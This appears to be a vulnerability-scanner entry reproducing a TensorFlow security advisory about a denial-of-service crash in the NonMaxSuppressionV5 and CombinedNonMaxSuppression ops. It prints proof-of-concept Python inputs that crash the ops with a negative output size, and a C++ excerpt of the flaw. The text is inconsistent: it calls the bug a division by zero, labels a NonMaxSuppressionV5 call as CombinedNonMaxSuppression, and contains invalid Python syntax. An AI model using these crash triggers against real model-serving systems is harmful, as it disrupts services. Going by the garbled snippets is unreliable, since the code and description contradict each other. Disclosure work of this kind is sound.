QID 981538

Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0:

```python
import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
scores=[1.0,2.0,3.0],
max_output_size=-1,
iou_threshold=0.5,
score_threshold=0.5,
soft_nms_sigma=1.0,
pad_to_max_output_size=True)
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`:

```cc
const int output_size = max_output_size.scalar<int>()();
// ...
std::vector<int> selected;
// ...
if (pad_to_max_output_size) {
selected.resize(output_size, 0);
// ...
}
```

However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in `CombinedNonMaxSuppression`:

```python
import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
max_output_size_per_class=-1,
max_total_size=10,
iou_threshold=score_threshold=0.5,
pad_per_class=True,
clip_boxes=True)
```